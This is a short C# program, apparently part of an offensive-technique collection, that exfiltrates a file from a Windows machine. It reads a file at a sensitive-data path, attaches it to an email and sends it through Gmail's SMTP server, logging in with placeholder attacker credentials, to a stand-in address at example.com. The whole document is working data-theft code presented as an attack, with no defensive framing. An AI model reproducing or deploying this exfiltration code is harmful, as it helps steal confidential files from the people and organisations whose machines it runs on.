Windows C# / Exfiltration via SMTP

Code

using System;
using System.IO;
using System.Net;
using System.Net.Mail;

class C2ViaSMTP
{
    static void Main()
    {
        // Target file exfiltrate
        string targetFilePath = @"C:\SensitiveData\report.pdf";
        string emailRecipient = "attacker@example.com";
        string attackerEmail = "malwarebot@gmail.com";
        string attackerPassword = "maliciouspassword123";

        try
        {
            // Send data as a email message
            MailMessage message = new MailMessage();
            message.From = new MailAddress(attackerEmail);
            message.To.Add(emailRecipient);
            message.Subject = "Exfiltrated Data";
            message.Body = "Attached file contains sensitive exfiltrated data.";
            
            // Add target file as attachment
            Attachment attachment = new Attachment(targetFilePath);
            message.Attachments.Add(attachment);

            // Configure SMTP client
            SmtpClient smtpClient = new SmtpClient("smtp.gmail.com")
            {
                Port = 587,
                Credentials = new NetworkCredential(attackerEmail, attackerPassword),
                EnableSsl = true
            };

            // Send email
            smtpClient.Send(message);
            Console.WriteLine("Data exfiltration email sent successfully.");
        }
        catch (Exception ex)
        {
            Console.WriteLine("Error: " + ex.Message);
        }
    }
}